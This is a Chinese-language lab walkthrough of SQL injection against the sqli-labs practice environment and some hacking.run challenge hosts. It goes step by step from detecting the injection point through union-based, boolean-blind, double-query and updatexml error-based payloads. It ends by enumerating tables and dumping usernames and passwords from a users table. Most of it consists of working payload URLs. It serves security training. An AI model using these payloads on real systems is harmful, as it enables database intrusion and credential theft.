SQL注入流程


1.判断是否存在注入、以及请求方法(POST、GET、COOKIE、REQUEST、HTTP头);根据有无回显分为(回显注入、报错注入、布尔盲注)

输入单引号    '    进行检验是否存在输入

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1 '

错误回显 => 存在注入

原理:

页面发生了报错,说明输入的单引号    '    影响了数据库查询,说明此处存在可控的参数,存在注入点

1.1不是用  ' 进行的闭合的可以尝试{   ' 、}、"、)、   }  

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1'

正确回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1'

错误回显 => 存在注入

2.判断参数类型(数字型、字符型、搜索型、json),加注释符号{ # 、 --+ 、%23 }

输入 and 1=2    检验是字符型还是数字型

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1  and 1=2

错误回显 => 证明是数字型。

原理:字符型在查询有闭合符号,如果直接将and 1=2带入查询,以及后后面的测试语句,都会当成字符串,不会被执行。

3.闭合查询语句

输入{' 、}、"、)、}  单个或者组合后在加测试语句   and 1=2  

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=2 --+

错误回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=1 --+

正确回显 => 闭合成功

3.1多闭合查询语句

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=2 --+

错误回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=1 --+

错误回显 => 第一位闭合正确

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1')  and 1=1 --+

正确回显 => 闭合成功

注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。

4.查看这个网站后台数据库所在的表有几列

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1' order by 3

使用二分法,如果输入错误则报错,如果存在就维持原状。

原理:

select * from table order by n 表示select里面的第n个字段,从而判断有几行

5.进行 union select联合查询,发现显示位

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2,3 %23

发现有2个显示位(为了union联合查询可以正常运行所以要使前方信息报错,后边用%23进行注释)

原理:

UNION 操作符用于合并两个或多个 SELECT 语句的结果集

5.1进行布尔盲注,盲注所在数据库名称、可以使用

方法一:left((select schema_name from information_schema.schemata limit 1,1),1)='a'--+、

方法二:ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99--+、

方法三:slqmap

https://636-9a6d57ca-65dc-4d51-bcca-f0265f719e00.do-not-trust.hacking.run/?id=1' and left(database(),1)='a' --+

错误回显 => 数据库第一位不为a

https://636-9a6d57ca-65dc-4d51-bcca-f0265f719e00.do-not-trust.hacking.run/?id=1' and left(database(),1)='s' --+

正确回显  => 数据库第一位为s

查询表

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1)='R'--+

5.2进行双查询注入,查询所在数据库名称、可以使用

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' union select null,count(*),concat((database()),floor(rand()*2))as a from information_schema.tables group by a --+

查询表

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

5.3进行报错注入,查询所在数据库名称、可以使用

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

6.查询数据库版本号、所在数据库

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,database(),version() %23

发现版本号为5.5.23(版本号5.0以上会专门生成一个叫information_schema的库,这个库里有数据库中所有表的名字)

7.查询所在数据库拥有的表名

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-1' union select1,2,group_concat

(table_name) from information_schema.tables where table_schema = database() %23

 原理:

group_concat(str1, str2,...)将多个字符串连接成一个字符串

7.1查询所有数据库的表名

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

8.查询出users表里的列名

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2,group_concat(column_name)%20from information_schema.columns where table_name ="users"%23

9.查出users表中username列中 用户名和密码

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2, group_concat(username,password) from users %23

group_concat() 显示查询到所有的列

information_schema一个库

schemata:保存所有数据库的名字

tables:保存说有表的名字

columns:保存所有字段的名字

参考

https://www.cnblogs.com/biaochen/p/11307264.html